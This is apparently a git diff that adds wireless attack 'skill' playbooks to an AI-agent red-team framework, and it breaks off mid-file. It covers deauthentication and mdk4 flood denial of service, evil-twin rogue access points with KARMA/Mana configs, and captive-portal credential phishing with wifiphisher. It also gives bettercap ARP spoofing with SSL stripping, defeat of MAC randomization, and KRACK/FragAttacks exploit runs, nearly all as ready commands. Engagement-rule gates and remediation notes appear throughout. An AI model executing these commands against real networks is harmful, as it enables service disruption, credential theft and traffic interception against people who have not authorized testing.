diff --git a/packages/decepticon/decepticon/skills/standard/wireless/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/SKILL.md new file mode 100644 index 000000000..2aa8e8a63 --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/SKILL.md @@ -0,0 +1,96 @@ +--- +name: wireless-overview +description: > + Top-level index for the Decepticon 802.11 wireless attack suite. Routes the + WirelessOperator to the correct leaf skill based on the target AP's crypto + column (PSK / SAE / MGT / WPS) and engagement posture. BLE, Zigbee, Z-Wave, + LoRaWAN, and sub-GHz live under iot/ by design — link provided below to + prevent duplication. +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "Wi-Fi, 802.11, WPA2, WPA3, EAP, enterprise, evil-twin, deauth, WPS, PSK, SAE, wireless attack, airspace, WLAN, rogue AP" + tags: + - wifi + - 802.11 + - wpa2 + - wpa3 + - eap + - evil-twin + - deauth + - wps + mitre_attack: T1040, T1557, T1110.001 +--- + +# 802.11 Wireless Attack Suite — Operator Index + +> Load `workflow.md` first on every wireless iteration (hardware mode +> check, phase progression, scope rules, KG node contract). This file +> is the routing layer on top of it. + +## Playbook table + +| Leaf skill | Crypto column / trigger | Primary MITRE | Status | +|---|---|---|---| +| [wpa2-psk](wpa2-psk/SKILL.md) | `WPA2 PSK`, `WPA PSK` | T1040, T1110.001 | shipped | +| [wpa3-sae](wpa3-sae/SKILL.md) | `WPA3 SAE`, `WPA2 WPA3` transition mode | T1557, T1040 | shipped | +| [wpa-enterprise-eap](wpa-enterprise-eap/SKILL.md) | `MGT`, `WPA-Enterprise`, `802.1X` | T1557, T1110.001 | shipped | +| [wps-pixie-dust](wps-pixie-dust/SKILL.md) | WPS column non-empty, `WPS` flag in wash | T1110.001, T1040 | shipped | +| [evil-twin-karma](evil-twin-karma/SKILL.md) | Open / PSK, PNL probe leakage, captive portal | T1557, T1556 | shipped | +| [deauth-pmf](deauth-pmf/SKILL.md) | Any target needing client reconnect or 802.11w posture finding | T1498, T1040 | shipped | +| [krack-fragattacks](krack-fragattacks/SKILL.md) | Legacy / embedded supplicant, key-reinstallation / fragmentation test | T1557, T1040 | shipped | + +> BLE GATT, Zigbee Touchlink, Z-Wave, LoRaWAN, and sub-GHz attacks +> are scoped to `standard/iot/`. Cross-reference that suite when the +> objective targets non-802.11 RF. + +## Hardware mode pointer + +Leaf skills inherit the mode check from `workflow.md`: + +``` +mode = plan/roe.json:machine_enforcement.wireless.mode + "in_sandbox" → USB passthrough, monitor mode inside Kali + "dropbox" → ssh -- '' for every wireless op + "none" → refuse, return outcome=blocked +``` + +## Crypto-mode decision tree + +``` +airodump-ng --write-interval 1 --output-format csv ... +Read the ENC/CIPHER/AUTH columns: + + ENC=WPA2, AUTH=PSK → wpa2-psk + ENC=WPA3, AUTH=SAE → wpa3-sae + ENC=WPA2+WPA3, AUTH=SAE+PSK → wpa3-sae (transition-mode downgrade path) + AUTH=MGT / 802.1X → wpa-enterprise-eap + WPS column non-empty → wps-pixie-dust (run in parallel with PSK path) + Open / no credential needed → evil-twin-karma (KARMA/portal capture) + +After selecting the primary leaf, always check: + - deauth-pmf: needed if Path B (four-way) is chosen OR as standalone PMF finding + - krack-fragattacks: applicable when target is legacy/embedded/poor-patch-cadence +``` + +## KG node contract + +All wireless leaf skills write the same node types (mirrors `workflow.md`): + +| Node kind | Typical props | +|---|---| +| `Network` | ssid, bssid, channel, crypto, pmf_state | +| `Host` | mac, oui, last_seen_bssid | +| `Credential` | secret_type, ssid, bssid, psk/eap_identity/eap_challenge | +| `Finding` | title, cve_ids (if applicable), severity, remediation | + +## OPSEC posture cross-reference + +| posture | techniques permitted | +|---|---| +| `stealth` | PMKID (wpa2-psk Path A), passive PMF detect (deauth-pmf), Pixie-Dust only | +| `standard` | + targeted deauth (1 frame), EAP capture, WPS Pixie-Dust | +| `loud` | + broadcast deauth, evil-twin, KARMA, beacon flood, online WPS brute | + +> Evil-twin always requires explicit `permitted_actions: evil_twin` in +> `plan/roe.json` regardless of posture — see `workflow.md` scope rules. diff --git a/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md new file mode 100644 index 000000000..b49e5ffee --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md @@ -0,0 +1,231 @@ +--- +name: deauth-pmf +description: Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion). +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "deauth, disassociation, 802.11w, PMF, MFP, management frame protection, aireplay-ng, mdk4, beacon flood, auth flood, deauth for handshake, PMF disabled finding" + tags: + - deauth + - disassoc + - pmf + - 802.11w + - mdk4 + - dos + mitre_attack: T1498, T1040 +--- + +# Deauth / Disassoc + 802.11w (PMF) Posture + +> This is a shared-primitive skill. Most callers need it to coerce +> a single client reconnect (handshake capture or evil-twin roaming). +> The standalone deliverable is the **PMF state finding**: +> `pmf_state ∈ {disabled, optional, required}` is always worth +> documenting as a network finding regardless of whether deauth is +> needed for the attack path. + +## Prerequisites + +- Monitor-mode + injection-capable adapter on the target channel. +- Tools: `aircrack-ng` suite (`aireplay-ng`, `airodump-ng`), `mdk4`, + `tshark` or `iw`. +- Deauth requires `permitted_actions: deauth_for_handshake_capture` + in `plan/roe.json`. Broadcast deauth / DoS requires `posture=loud`. + +## Step 1 — PMF state detection from beacons + +Read MFPC (Management Frame Protection Capable) and MFPR (Required) +bits from the AP's RSN IE before issuing any deauth frames: + +```bash +# Capture beacons for the target BSSID +sudo airodump-ng -c --bssid -w /tmp/pmf_recon \ + --output-format pcap +# 5–10 seconds is enough to collect multiple beacons. + +# Decode RSN capabilities: MFPC + MFPR bits +tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \ + -T fields \ + -e wlan.ssid \ + -e wlan_mgt.rsn.capabilities.mfpc \ + -e wlan_mgt.rsn.capabilities.mfpr \ + 2>/dev/null | sort -u + +# Interpretation: +# MFPC=0, MFPR=0 → PMF disabled (deauth frames accepted by all clients) +# MFPC=1, MFPR=0 → PMF optional (deauth works against clients that don't support PMF) +# MFPC=1, MFPR=1 → PMF required (deauth frames are encrypted; unprotected deauth rejected) +``` + +```bash +# Alternative: iw to inspect connected interface (if you have network access) +iw dev info | grep -i pmf +# or from scan results: +iw scan | grep -A 20 "" | grep -i "protected\|pmf\|mfp" +``` + +**Decision based on PMF state:** + +| PMF state | Deauth viable? | Action | +|---|---|---| +| `disabled` (MFPC=0) | Yes — all clients accept unprotected deauth | Proceed to Step 2 | +| `optional` (MFPC=1, MFPR=0) | Partial — clients that didn't negotiate PMF accept deauth | Proceed; note some clients may be immune | +| `required` (MFPC=1, MFPR=1) | No — all deauth rejected unless encrypted | PMKID still viable; mark deauth as blocked | + +## Step 2 — Targeted single-client deauth (standard / stealth) + +```bash +# Identify connected clients first +sudo airodump-ng -c --bssid +# Bottom section shows STATION (client) MACs. + +# Send a SINGLE targeted deauth frame (one reconnect trigger) +sudo aireplay-ng --deauth 1 \ + -a \ + -c \ + + +# Confirm the client reassociates and watch for the handshake in +# airodump's header: "WPA handshake: " +``` + +```bash +# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored +# (e.g., client is in power-save mode or noisy RF environment) +sudo aireplay-ng --deauth 5 \ + -a \ + -c \ + +``` + +**OPSEC:** Targeted deauth to a single client is visible in WIDS but +low-severity. One or two frames at engagement cadence = noise. Burst +deauth (>10 frames) triggers WIDS alerts on most enterprise platforms. + +## Step 3 — Broadcast deauth (posture=loud, DoS testing) + +```bash +# Broadcast deauth to all clients on the AP (posture=loud only) +# This is a DoS action — confirm it is an accepted risk in RoE. +sudo aireplay-ng --deauth 0 \ + -a \ + +# --deauth 0 = unlimited broadcast; Ctrl+C to stop. + +# Broadcast disassociation variant +sudo aireplay-ng --deauth 10 \ + -a \ + +``` + +**RoE gate for broadcast deauth:** + +``` +HARD STOP: broadcast deauth requires posture=loud AND + plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing" + This is a denial-of-service action — all clients lose connectivity. +``` + +## Step 4 — mdk4 beacon flood / auth flood (DoS testing) + +```bash +# mdk4 deauth flood (more evasive — randomizes source MACs) +sudo mdk4 d \ + -B \ + -c + +# mdk4 auth flood (overwhelms AP's association table) +sudo mdk4 a \ + -a + +# mdk4 beacon flood (SSID pollution — interferes with scanning) +sudo mdk4 b \ + -n "TargetSSID-DoS" \ + -c +``` + +**Note:** mdk4 beacon flood does not disconnect clients; it pollutes +the visible network list. Auth flood + deauth flood together cause +AP memory/state table exhaustion on older firmware. + +## Step 5 — Unprotected action-frame attacks (PMF optional/disabled) + +Where PMF is optional or disabled, non-deauth management frames (SA +Query, Channel Switch Announcement) may also be unauthenticated: + +```bash +# Check for SA-Query implementation via scapy (unprotected SA-Query test) +# This tests whether the AP responds to unauthenticated SA-Query frames, +# indicating incomplete PMF implementation even when MFPC=1. +sudo python3 - << 'PYEOF' +from scapy.all import * +from scapy.layers.dot11 import * + +pkt = RadioTap() / \ + Dot11(type=0, subtype=13, addr1=, addr2=, addr3=) / \ + Dot11Action(category=8) / Raw(load=b'\x01\x00\x00\x01') +# category=8 = SA Query; action 0x01 = SA Query Response +sendp(pkt, iface=, count=3, inter=0.1) +PYEOF +# If the client responds without encrypted SA-Query, PMF negotiation +# is incomplete (client accepted the connection without PMF). +``` + +## Evidence + +Always write the PMF finding: + +```python +kg_add_node( + kind="finding", + label=f"802.11w/PMF State: {pmf_state_label} on {ssid}", + props={ + "key": f"pmf-state::{bssid}", + "severity": { + "disabled": "high", + "optional": "medium", + "required": "info", + }[pmf_state], + "pmf_state": pmf_state, # "disabled" | "optional" | "required" + "mfpc": mfpc, # bool + "mfpr": mfpr, # bool + "deauth_viable": pmf_state != "required", + "bssid": bssid, + "ssid": ssid, + "remediation": ( + "Set MFP=Required on the AP (MFPR=1). " + "WPA3 mandates PMF-required by spec. " + "WPA2 networks should be upgraded to PMF=Required." + ), + }, +) +``` + +If deauth was used for handshake capture, cross-reference the +`wpa2-psk` or `wpa3-sae` skill for the resulting Credential node. + +## ZFP + +1. tshark output showing MFPC/MFPR bits from beacon RSN capabilities. +2. Pcap showing deauth frame(s) and client re-association (or PMF-protected rejection). +3. airodump header line "WPA handshake: " if deauth was for handshake capture. + +## OPSEC notes + +- A single targeted deauth (`--deauth 1`) is the minimum impact + action. Prefer it over any broadcast variant. +- 802.11w PMF-required networks: deauth is cryptographically blocked. + Do not waste frames. PMKID capture (wpa2-psk Path A) still works + on these networks and doesn't require deauth. +- mdk4 auth flood / beacon flood are loud and persistent — immediately + visible in any WIDS. Reserve for explicit DoS-assessment objectives. +- Regulatory: deauth is a TX operation. Confirm `iw reg get` and + channel authorization before any transmission. + +## References + +- IEEE 802.11w-2009 — Management Frame Protection amendment. +- `wpa2-psk` skill — Path B (handshake capture) calls this skill for deauth. +- `wpa3-sae` skill — Path A (transition-mode downgrade) may use deauth. +- `evil-twin-karma` skill — Step 3 (roaming coercion) calls this skill. +- mdk4: github.com/aircrack-ng/mdk4 diff --git a/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md new file mode 100644 index 000000000..4e0ebe04c --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md @@ -0,0 +1,253 @@ +--- +name: evil-twin-karma +description: Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X. +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "evil twin, KARMA, Mana, rogue AP, captive portal, hostapd-mana, wifiphisher, airgeddon, PNL, probe response, client coercion, PSK phishing, open network MITM" + tags: + - evil-twin + - karma + - mana + - rogue-ap + - captive-portal + - mitm + mitre_attack: T1557, T1556, T1598 +--- + +# Evil Twin / KARMA / Mana Rogue AP + +> **RoE hard stop (mirrors workflow.md):** +> NEVER bring up an evil-twin AP on public airspace without +> `permitted_actions: evil_twin` recorded in `plan/roe.json` for +> this session. Confirm `iw reg get` before any TX. This applies +> even on `posture=loud` — explicit operator approval is required. + +## Prerequisites + +- TX-capable adapter (not just monitor mode). +- Tools: `hostapd-mana`, `wifiphisher` (portal templates), + `airgeddon` (menu-driven alternative), `dnsmasq`, `bettercap`. +- Second adapter for deauth (optional but increases coercion speed). +- `plan/roe.json` must contain `permitted_actions: evil_twin` and + valid regulatory TX authorization. + +## Step 1 — PNL / probe-request harvest + +Preferred-Network List (PNL) probe requests reveal SSIDs a device +will auto-associate to. Passive harvest before standing up the rogue AP: + +```bash +# Capture probe requests (passive, no TX required) +sudo airodump-ng --output-format csv -w /tmp/probes +# Probe column shows client MAC → SSID pairs + +# Or use bettercap's wifi.recon +sudo bettercap -iface \ + -eval "wifi.recon on; set wifi.show.sort clients desc; ticker on" +# Shows associated clients and their probe history +``` + +```bash +# KARMA universal: respond to ANY probe with a matching SSID. +# Mana selective: only respond to probes for SSIDs you choose +# (lower noise, avoids responding to enterprise SSIDs that +# require 802.1X — route those to wpa-enterprise-eap instead). + +# Identify high-value targets: +# - Devices probing for open SSIDs (no PSK needed → immediate MITM) +# - Devices probing for PSK SSIDs you already know the passphrase for +# - Devices with MAC randomization disabled (OUI visible in probe SA) +``` + +## Step 2 — Stand up rogue AP with hostapd-mana + +```bash +# /tmp/mana.conf — open AP with KARMA/Mana response +cat > /tmp/mana.conf << 'EOF' +interface= +driver=nl80211 +ssid= +hw_mode=g +channel= +mana_enable=1 +mana_credout=/tmp/mana_creds.txt +mana_loud=0 +EOF + +sudo hostapd-mana /tmp/mana.conf + +# mana_loud=0 → Mana selective (probe-response-only) +# mana_loud=1 → KARMA universal (respond to all probes) +``` + +```bash +# For a PSK-matching evil twin (clone of a known WPA2 PSK network): +cat > /tmp/evil_twin_psk.conf << 'EOF' +interface= +driver=nl80211 +ssid= +hw_mode=g +channel= +wpa=2 +wpa_passphrase= +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP +mana_enable=1 +mana_credout=/tmp/mana_creds.txt +EOF + +sudo hostapd-mana /tmp/evil_twin_psk.conf +``` + +## Step 3 — Deauth-driven roaming coercion + +```bash +# Deauth clients from the legitimate AP to accelerate association +# with the rogue AP. Requires permitted_actions: deauth_for_handshake_capture. +# Cross-reference deauth-pmf skill for PMF detection first. +sudo aireplay-ng --deauth 5 -a -c + +# Broadcast deauth (loud, posture=loud only): +sudo aireplay-ng --deauth 0 -a +# Note: broadcast deauth blocked by 802.11w/PMF; check PMF state first. +``` + +## Step 4 — DHCP + DNS for associated clients + +```bash +# dnsmasq: DHCP server + DNS for clients on the rogue AP +cat > /tmp/dnsmasq.conf << 'EOF' +interface= +dhcp-range=10.0.0.10,10.0.0.100,255.255.255.0,12h +dhcp-option=3,10.0.0.1 +dhcp-option=6,10.0.0.1 +address=/#/10.0.0.1 +log-queries +EOF + +sudo ip addr add 10.0.0.1/24 dev +sudo ip link set up +sudo dnsmasq -C /tmp/dnsmasq.conf --no-daemon & +``` + +## Step 5 — Captive portal credential capture (wifiphisher) + +```bash +# wifiphisher automated portal attack +sudo wifiphisher \ + --essid "" \ + --channel \ + -p firmware-upgrade \ + --handshake-capture /tmp/wpa2_handshake.pcap + +# Built-in portal templates: +# firmware-upgrade → asks for Wi-Fi PSK to "install firmware" +# oauth-login → OAuth/social login credential capture +# wifi-connect → generic Wi-Fi reconnect with PSK prompt +# plugin_update → browser plugin update (payload delivery) + +# Captured credentials written to wifiphisher's output log. +# For custom portal: --phishing-pages-directory /path/to/custom/ +``` + +```bash +# Manual transparent MITM with bettercap after client connects: +sudo bettercap -iface \ + -eval " + set http.proxy.sslstrip true; + set net.sniff.verbose false; + net.probe on; + arp.spoof on; + http.proxy on; + net.sniff on + " +# bettercap captures credentials from HTTP/stripped HTTPS sessions. +# Output to /tmp/bettercap_creds.log +``` + +## Step 6 — MAC-randomization defeat + +Modern OS (Android 10+, iOS 14+, Windows 10+) use random MACs for +probe requests, complicating targeting: + +```bash +# De-anonymize via PNL analysis: +# 1. Capture probes over time; filter by sequence number continuity +# (same device reuses sequence counter across random MACs). +tshark -r /tmp/probes-01.cap -Y "wlan.fc.type_subtype == 4" \ + -T fields -e wlan.sa -e wlan_mgt.ssid -e wlan.seq 2>/dev/null \ + | sort -k1,1 -k3,3n > /tmp/probe_seqs.txt + +# 2. Same device will show incrementing seq nums even with different MACs. +# 3. Once the device associates to your rogue AP, it uses its real MAC +# (most implementations reset randomization on association). +``` + +## Evidence + +```python +# Portal-captured credential +kg_add_node( + kind="credential", + label=f"Captive portal PSK for {ssid}", + props={ + "key": f"portal-cred::{bssid}::{client_mac}", + "secret_type": "wpa_psk_phished", + "ssid": ssid, + "bssid": bssid, + "client_mac": client_mac, + "psk": psk, + "portal_template": template_name, + "captured_at": "", + "source": "wifiphisher-portal", + }, +) + +# PNL leak finding +kg_add_node( + kind="finding", + label="Client PNL Probe Leakage — Evil-Twin Viable", + props={ + "key": f"pnl-leak::{client_mac}", + "severity": "high", + "exposed_ssids": [], + "client_mac": client_mac, + "remediation": ( + "Enable MAC randomization and disable 'auto-connect' for " + "saved networks. Use WPA3 with Protected Management Frames " + "to prevent deauth-driven roaming." + ), + }, +) +``` + +## ZFP + +1. airodump CSV showing client probe requests for target SSID. +2. hostapd-mana log showing client association to rogue AP. +3. wifiphisher output or bettercap log showing captured credential. +4. (Optional) Pcap of the full association + DHCP + portal flow. + +## OPSEC notes + +- Mana selective is quieter than KARMA universal — only probed SSIDs + get a response, reducing unexpected associations and WIDS alerts. +- Open AP (no PSK) has the fastest client association but exposes the + rogue AP to casual discovery. +- wifiphisher generates detectable management frames; WIDS tuned for + rogue APs will fire. Default posture: loud. +- Deauth coercion amplifies WIDS visibility; use single targeted + deauth (`--deauth 1`) over broadcast where possible. +- Tear down the rogue AP immediately after credential capture to + minimize dwell and collateral client disruption. + +## References + +- hostapd-mana: github.com/sensepost/hostapd-mana +- wifiphisher: github.com/wifiphisher/wifiphisher +- airgeddon: github.com/v1s1t0r1sh3r3/airgeddon +- bettercap: bettercap.org +- `wpa-enterprise-eap` skill — use instead for 802.1X/MGT targets. +- `deauth-pmf` skill — PMF detection and targeted deauth mechanics. +- `wpa3-sae` skill — Path D captive portal for SAE networks. diff --git a/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md new file mode 100644 index 000000000..ddab02324 --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md @@ -0,0 +1,253 @@ +--- +name: krack-fragattacks +description: KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence. +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "KRACK, FragAttacks, key reinstallation, fragmentation, aggregation attack, CVE-2017-13077, CVE-2020-24586, Vanhoef test scripts, legacy supplicant, embedded Wi-Fi, IoT wireless, poor patch cadence" + tags: + - krack + - fragattacks + - key-reinstallation + - fragmentation + - legacy + - embedded + mitre_attack: T1557, T1040 +--- + +# KRACK + FragAttacks + +> **Viability gate:** Both vulnerability families are largely +> mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android +> ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1, +> macOS ≥ High Sierra 10.13.1, and hostapd/wpa_supplicant ≥ 2.9 are +> all patched. **Read this section before spending engagement time.** +> Viable targets: unpatched embedded routers, ISP CPE, industrial +> Wi-Fi adapters, OT/ICS wireless bridges, legacy Android (≤ 9), +> custom RTOS supplicants, IoT sensors with frozen firmware. + +## Scope-viability assessment (run before any active test) + +```bash +# 1. Identify the target supplicant / AP firmware version +# From passive beacons: +sudo airodump-ng -c --bssid -w /tmp/krack_recon \ + --output-format pcap + +tshark -r /tmp/krack_recon-01.cap -Y "wlan.fc.type_subtype == 8" \ + -T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>/dev/null | head + +# 2. Identify vendor/OUI from BSSID +echo "" | cut -d: -f1-3 | tr -d ':' | \ + grep -i -f - /usr/share/ieee-data/oui.txt 2>/dev/null || \ + curl -s "https://api.maclookup.app/v2/macs/" 2>/dev/null + +# 3. Cross-reference vendor/firmware against KRACK/FragAttacks patch matrix +# Key rule of thumb: +# - wpa_supplicant build date before 2017-10 → KRACK likely +# - Custom RTOS / bare-metal 802.11 MAC → FragAttacks design flaws highly likely +# - Linux kernel < 4.14 → KRACK 4-way impl flaw possible +# - iOS < 11.1, Android < 8.0 → KRACK, check CVE-2017-13080 group key +``` + +## KRACK Family (CVE-2017-13077..13082) + +### How it works + +During the 4-way handshake (or group-key/FT/PeerLink handshake), +the authenticator can retransmit Msg3 (or Msg1 for group key). +A vulnerable supplicant reinstalls the PTK/GTK, resetting the TKIP +MIC counter or CCMP nonce to a previously-used value. Nonce reuse +under AES-CCMP allows decryption and in some modes injection. + +### Vanhoef krackattacks test scripts + +```bash +# Clone the test framework +git clone https://github.com/vanhoej/krackattacks-scripts.git +cd krackattacks-scripts + +# Install dependencies +pip3 install -r requirements.txt +sudo apt-get install -y libnl-3-dev libnl-genl-3-dev + +# Build the modified hostapd +cd hostapd && cp defconfig .config && make -j4 && cd .. + +# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP) +# The script acts as an AP, manipulates the handshake, and confirms +# nonce reuse in the supplicant's TX frames. +sudo python3 krack-test-client.py \ + --interface \ + --target-mac + +# Test group key reinstallation (GTK, CVE-2017-13080) +sudo python3 krack-test-client.py \ + --interface \ + --target-mac \ + --group-key-test +``` + +### Channel-based MITM setup for KRACK + +```bash +# KRACK requires MITM position between client and AP. +# Standard setup: clone the AP on a different channel, relay frames. +# The krackattacks-scripts handle this internally via the modified +# hostapd (acts as both client to real AP and AP to victim client). + +# Confirm nonce reuse from captured frames: +tshark -r /tmp/krack_capture.pcap -Y "wlan.ccmp.extiv" \ + -T fields -e wlan.sa -e wlan.ccmp.extiv 2>/dev/null | \ + awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print "NONCE REUSE:", $0}' +``` + +### CVE map for KRACK + +| CVE | Target | Condition | +|---|---|---| +| CVE-2017-13077 | Reinstallation of PTK-TK during 4-way | wpa_supplicant / Android | +| CVE-2017-13078 | Reinstallation of GTK during 4-way | wpa_supplicant | +| CVE-2017-13079 | Reinstallation of IGTK during 4-way | wpa_supplicant | +| CVE-2017-13080 | Reinstallation of GTK during group-key handshake | All major platforms | +| CVE-2017-13081 | Reinstallation of IGTK during group-key | wpa_supplicant | +| CVE-2017-13082 | PTK reinstall on FT reassociation (BeAP) | hostapd/APs with 802.11r | + +## FragAttacks Family (CVE-2020-24586..26147) + +FragAttacks cover three distinct flaw categories across 802.11 from +1997 to 2020-era implementations. Design flaws affect virtually all +clients; implementation flaws vary. + +### Flaw categories + +| Category | CVEs | Description | +|---|---|---| +| Aggregation design | CVE-2020-24588 | Non-SPP A-MSDU flag not checked; allows injection of aggregated frames | +| Mixed-key attack | CVE-2020-24587 | Fragments from different keys can be reassembled | +| Fragment cache | CVE-2020-24586 | Fragments not flushed on reconnect; stale fragment injection | +| Implementation: plaintext inject | CVE-2020-26140, 26143 | AP/client accepts plaintext data frames in encrypted network | +| Implementation: mixed fragment | CVE-2020-26144, 26145 | Accept plaintext broadcast fragment with SPP A-MSDU | +| Implementation: EAPOL inject | CVE-2020-26139 | AP forwards EAPOL from unauthenticated sender (before 4-way) | +| Implementation: SSP A-MSDU | CVE-2020-26146 | Reassemble encrypted fragments with plaintext head fragment | +| Implementation: mixed EAPOL | CVE-2020-26147 | Reassemble mixed encrypted+plaintext fragments | + +### Vanhoef fragattacks test tool + +```bash +# Clone the test framework +git clone https://github.com/vanhoef/fragattacks.git +cd fragattacks + +pip3 install -r requirements.txt +# Build patched wpa_supplicant / hostapd as per README + +# Run all FragAttacks tests against a target AP (acting as client) +sudo python3 fragattacks.py ping \ + --bssid --ssid "" \ + --psk "" + +# Test specific CVE (e.g., plaintext injection CVE-2020-26140): +sudo python3 fragattacks.py ping-frag-plaintext \ + --bssid --ssid "" --psk "" + +# Test aggregate injection (CVE-2020-24588): +sudo python3 fragattacks.py ping-amsdu \ + --bssid --ssid "" --psk "" + +# Test EAPOL pre-auth inject (CVE-2020-26139): +sudo python3 fragattacks.py eapol-inject \ + --bssid --ssid "" +``` + +### Confirming a successful attack + +```bash +# The test tool will print per-test results like: +# [SUCCESS] ping sent as plaintext using fragmentation (CVE-2020-26140) +# [FAILED] mixed-key attack: AP correctly rejected + +# Pcap evidence: confirm injected frame reached the target +tshark -r /tmp/fragattacks_test.pcap -Y "icmp" \ + -T fields -e ip.src -e ip.dst -e icmp.type 2>/dev/null +# A successful icmp echo from attacker's injected IP confirms injection. +``` + +## Per-vendor residual exposure notes + +``` +Linux mac80211 (kernel < 5.8 without October 2020 patches): + → CVE-2020-26139 (EAPOL forward), CVE-2020-24587 (mixed-key) + → Patch: kernel ≥ 5.8 + upstream backports + +wpa_supplicant < 2.10 (pre October 2020): + → CVE-2020-24587, CVE-2020-24586 (fragment cache) + +Windows WLAN driver: + → CVE-2020-24587 (mixed-key), CVE-2020-26144 (plaintext broadcast) + → Patch: KB4571744 (August 2020 CU) + +Custom RTOS / bare-metal 802.11 MAC (common in OT wireless bridges): + → All design flaws likely; implementation flaws depend on the vendor. + → No upstream wpa_supplicant → vendor must ship a custom patch. + → HIGH priority target for this skill. + +Confirm patch state from firmware version: + iw dev info # local driver + snmpwalk -c public 1.3.6.1.2.1.1.1.0 # AP sysDescr if reachable +``` + +## Evidence + +```python +kg_add_node( + kind="finding", + label=f"KRACK/FragAttacks: {cve_id} — {description}", + props={ + "key": f"fragattacks::{bssid}::{cve_id}", + "severity": "high", # Injection/decryption: critical; exposure only: high + "cve_ids": [cve_id], + "bssid": bssid, + "ssid": ssid, + "client_mac": client_mac, # if client-side flaw + "flaw_type": flaw_type, # "design" | "implementation" + "test_result": "SUCCESS", + "tool_output": tool_output_snippet, + "remediation": ( + "Apply firmware/driver update from vendor. " + "For wpa_supplicant: upgrade to ≥2.10. " + "For mac80211: kernel ≥5.8 + security backports. " + "For custom RTOS: contact vendor for KRACK/FragAttacks patch " + "or isolate device from untrusted wireless clients." + ), + }, +) +``` + +## ZFP + +1. fragattacks.py or krack-test-client.py console output naming the CVE and showing `[SUCCESS]`. +2. Pcap with timestamp showing the injected/decrypted frame proof (ICMP echo, injected DNS, etc.). +3. Screenshot of tshark nonce-reuse detection output (for KRACK). + +## OPSEC notes + +- KRACK and FragAttacks require an active channel-based MITM or rogue + AP — both are loud and generate continuous management/data frames. + Expect WIDS alerts. Gate on `posture=loud`. +- KRACK MITM setup disrupts normal traffic for the victim client while + the test is running. Brief client disconnection is expected. +- FragAttacks test tool sends probe/injection packets to the AP + continuously. Rate-limit with `--delay` parameter if stealth matters. +- Regulatory TX gate applies: confirm `iw reg get` before activating + any TX-capable mode. + +## References + +- Vanhoef, M. & Franken, F., "Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation", USENIX Security 2021. +- Vanhoef, M. & Piessens, F., "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2", ACM CCS 2017. +- fragattacks.com — CVE detail, patch status tracker. +- krackattacks.com — original KRACK disclosure + test scripts. +- NVD entries: CVE-2017-13077..13082, CVE-2020-24586..24588, CVE-2020-26139..26147. +- `wpa2-psk` skill — primary PSK capture on patched stacks. +- `deauth-pmf` skill — MITM position setup. diff --git a/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md b/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md new file mode 100644 index 000000000..5d4e5b625 --- /dev/null +++ b/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md @@ -0,0 +1,241 @@ +--- +name: wpa-enterprise-eap +description: WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory. +allowed-tools: Bash Read Write +metadata: + subdomain: wireless + when_to_use: "WPA-Enterprise, WPA2-Enterprise, 802.1X, EAP, PEAP, EAP-TTLS, MSCHAPv2, eaphammer, hostapd-wpe, GTC downgrade, RADIUS, evil twin enterprise, EAP identity, rogue RADIUS, wireless AD pivot" + tags: + - enterprise + - eap + - 802.1x + - peap + - mschapv2 + - radius + - eaphammer + mitre_attack: T1557, T1110.001, T1040 +--- + +# WPA-Enterprise / 802.1X / EAP + +> MSCHAPv2 over PEAP/EAP-TTLS is the dominant enterprise Wi-Fi +> credential type in corporate environments. A captured +> challenge/response is directly equivalent to a NetNTLMv1/v2 hash. +> Crack it and you have a domain account; relay it and you may gain +> network access without cracking at all. + +## Prerequisites + +- Monitor-mode + injection-capable adapter; second adapter optional + (for deauth while rogue AP is running on first). +- Tools: `eaphammer`, `hostapd-wpe` (hostapd with WPE patch), + `asleap`, `hashcat`, `john`. +- Rogue AP requires a valid TLS cert (self-signed or Let's Encrypt + clone). eaphammer ships a cert generator. +- RoE gate: evil-twin AP requires `permitted_actions: evil_twin` AND + `permitted_actions: rogue_radius` in `plan/roe.json`. Check + `iw reg get` before activating any TX. + +## Step 1 — EAP method recon + +Identify 